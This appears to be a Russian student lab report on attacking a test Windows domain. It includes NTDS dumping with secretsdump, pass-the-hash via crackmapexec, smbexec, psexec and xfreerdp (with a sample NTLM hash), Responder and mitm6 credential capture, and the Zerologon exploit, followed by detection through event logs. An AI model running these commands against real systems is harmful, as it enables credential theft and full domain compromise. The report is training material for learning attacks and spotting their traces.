# Макаров Дмитрий Владиславович - Windows Basic. Практическая работа №6. Базоввые атаки и компрометация доменной Winows-инфраструктуры
[toc]
## Практическая работа №6.1 Базовые атаки на Windows-инфраструктуру.
### Часть 1. Базовые атаки на инфраструктуру Windows
#### Этап 1. Анализ базы NTDS
##### 1.1 Бэкап NTDS
==Воспользуемся базовыми средствами **Windows** для работы с **NTDS**==
Зайдём в командную строку от имени администратора и введём команды:
`ntdsutil`
`activate instance ntds`
`ifm`
`create full C:\temp`
Этот набор команд активирует процесс **Install From Media**, позволяющий сделать копию нашего **NTDS** с необходимыми ветками реестра.
---

---
После этого в директории `C:\temp` мы видим созданые файлы дампа в папке **Active Directory**
---

---
И в папке **registy**
---

---
##### 1.2 Перенос NTDS
==Воспользуемся базовыми средствами Kali Linux. С помощью SMB зайдём на сервер Win с Kali:==
`smbclient '\\\\\\192.168.10.200\\C$' -U PT/Administrator`
- где **192.168.10.201** -- ip адрес контроллера домена,
- **testdomain** -- имя домена,
- **Administrator** -- имя учетной записи с правами администратора.
После чего скопируем файлы на **Kali Linux**:
`recurse ON`
`prompt OFF`
`lcd /home/sato`
`mget temp`
- где **/home/sato** -- домашняя папка пользователя **Kali linux**
---

---
##### 1.3 Анализ NTDS
==Для анализа дампа для начала нужно скачать **impacket**. Находясь в домашней директории пользователя, выполните набор команд:==
`git clone https://github.com/SecureAuthCorp/impacket`
`apt install python3-pip`
`cd impacket`
`pip install .`
---

---
После установки нужно пройти из директории **impacket** в директорию **examples** (она внутри папки импакета) и выполнить следующую команду:
`python3 secretsdump.py -ntds /home/sato/Active\ Directory/ntds.dit -system /home/sato/temp/registry/SYSTEM LOCAL`
- где `secretsdump.py` -- исполняемый скрипт,
- `ntds.dit` -- анализируемый инстанс базы данных NTDS,
- `registry/SYSTEM` -- ветка реестра, с помощью которой мы можем прочитать NTDS,
- `LOCAL` -- флаг для скрипта, который говорит, что мы анализируем **NTDS** локально.
В качестве вывода будет следующее:
---

---
:::info
:bulb: **NTDS** мы анализируем с целью разобраться в структуре базы аутентификационых данных для объектов домена.
:::
---
#### Этап 2. Path-the-hash
==Для выполнения атаки вида **PtH** нам понадобится учетная запись и её хэш пароля. С помощью такой атаки мы можем выполнять любые действия, доступные пользователю, не имея оригинала пароля.==
##### 2.1 Crackmapexec
Это набор python-скриптов для тестирования **Windows** окружения. Использует *Windows API*, поэтому обнаружить довольно сложно.
Самое базовое применение -- быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом **smb**:
`crackmapexec smb 192.168.10.0/24`
---

---
Выполним команды от имени пользователя на удаленной машине посредством командной строки:
`crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami`
- Где **hash** -- это *NTLM* хэш учетной записи (*LM* хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее).
---

---
Посмотрим список сетевых папок, доступных конкретному пользователю:
`crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares`
---

---
В *impacket* есть интересная утилита **smbexec**, позволяющая запустить **cmd windows** для удаленной передачи команд, при этом практически не оставляя следов:
`python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128`
- где **testdomain** -- имя домена,
- **administrator** -- имя пользователя,
- **192.168.10.200** -- адрес компьютера-жертвы
- **hashes** -- спец флаг для использования хэша
- последняя длинная фраза -- сам хэш в определенном формате
---

---
Есть и аналог -- **psexec**
`python3 psexec.py domain/username:password@hostIP`
- если знаем пароль
`python3 psexec.py domain/username@hostIP -hashes LMHASH:NTHASH`
- если знаем хэш
---

---
##### 2.2 XFreeRDP
С хешем можно зайти по **RDP**. Для этого используется следующая команда
`xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH
`
Но для начала включим удалённый доступ по **RDP** на **dc1**, доступ дадим администраторам домена
---

---
Попробуем зайти на **dc1**
---

---
Подтвердим сертификат
---

---
Действует политика **restricted admin**
---

---
Изменим параметр реестра на **dc1**
---

---
Использованная команда:
`New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force
`
---
Так как у нас включена политика **аудита PoSH**, там можно увидеть выполнение этой команды
---

---
После чего **xfreerdp** пускает нас с помощью хеша
---

---
#### Этап 3. Атаки на базовые протоколы Windows
##### NBT-NS & LLMNR & mDNS
==Важной частью эксплуатации будет **WPAD** -- специальный протокол для настройки проксирования в системе **Win**.== Система всегда запрашивает файл с настройками **wpad.dat**, а злоумышленник может подсунуть свой файл, став прокси-серверов для **Win** и таким образом осуществив атаку *человек посередине*.
==Основная уязвимость в этих протоколах -- отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам.==
##### Анализ инфраструктуры через responder
Запускаем анализ **Responder**
`responder -I eth0 -A`
---

---
**Доменный ПК** пытается обратиться к несуществующему сетевому ресурсу
---

---
Анализатор видит **LLNMR**, **NBNS** запросы
---

---
##### Режим атаки:
`responder -I eth0 -wFv`
- где **-I eth0** -- выбор интерфейса,
- **w** -- отравление **WPAD**,
- **F** -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно,
- **v** -- вывод подробной информации (в т.ч. перехваченного хэша).
**Responder** запускается
---

---
Пользователь снова проходит по несуществующему пути. **Responder** притворяется этим ресурсом, поэтому видим окно аутентификации
---

---
==**Responder** перехватывает аутентификационный токен==
---

---
Данный токен можно подвергнуть брутфорсу
---
##### mitm6
==Атака имитирует **DHCPv6** сервер и отправляет на компьютеры в сети параметры **IPv6**, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети.==
Скачаем **mitm6**:
`pip install mitm6`
---

---
##### Выполнение атаки:
`mitm6.py -d pt.local`
- необходимо указывать атакуемый домен
Настройки сетевого адаптера **pc1**. Было:
---

---
**Kali Linux**. Атака
---

---
Настройки сетевого адаптера **pc1**. Стало:
---

---
Пока что мы только подменили параметры у **win10**, обеспечив **mitm**. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся **SMB**.
==Не отключая **mitm6**, создадим **SMB** сервер==:
---

---
`python3 smbserver.py -smb2support SMB /root/SMB`
А на **Win10** через проводник попробуем зайти на наш домен
---

---
Увидим данные аутентификации в выводе программы
---

---
:::info
:bulb:Эти аутентификационные данные уже можно вскрывать с помощью **hashcat** или **John the ripper**. Это не чистый хэш пароля, а аутентификация по протоколу **NTLMv2**.
:::
---
## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры.
Для начала нужно активировать политику аудита машинных учетных записей и применить к контроллерам домена
---

---
:::info
Путь до политики:
**Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant**
:::
---
Чтобы политика применилась после настройки, введём команду `gpupdate`
---

---
### Часть 2. Эксплуатация уязвимостей контроллера домена
2.1 Проведем поиск по уязвимости **zerologon** и найдём множество репозиториев на **github**, в том числе и с эксплойтами
---

---
2.2 Скачаем один из них
Используем команду
`git clone <https://github.com/risksense/zerologon`
---

---
2.3 Перейдем в скачанную папку и прочитаем **README**
---

---
2.4 Нам предлагают использовать консткукцию для вызова эксплойта. Используем команду
`python3 set_empty_pw.py DC1 192.168.10.200`
---

---
2.5 Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить **NTDS** с помощью **secretsdump**. Перейдём в `impacket/examples` и выполним оттуда команду
`python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'`
---

---
2.6 С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя
Например, с помощью команды
`crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami`
---

---
### Часть 3. Поиск следов эксплуатации уязвимостей
3.1 Проверим журнал **System**, увидим ошибку **Netlogon**
---

---
3.2 Проверим **Security**, увидим событие **4742**
---

---
3.3 Внимательно проанализируем событие
---

---
Во-первых, **ANONYMOUS LOGON** -- уже довольно подозрительный факт
---
Ещё в логе можно увидеть заполненное поле **password last set** -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только **NETWORK SERVICE**. И, если это происходит, генерируется ещё одно событие с **id 5823**
---
3.4 Найдём событие **5823** в журнале **System** с помощью фильтра. Событие есть, но оно произошло намного раньше
---

---
Если поискать события **4742** за день, когда произошло **5823**, то мы их найдём. Это легитимные события, связанные с введением в домен **dc2**
---
3.5 Если происходит дамп **NTDS**, то можно увидеть данные выгрузки в журнале **Direcrory Service**
---

---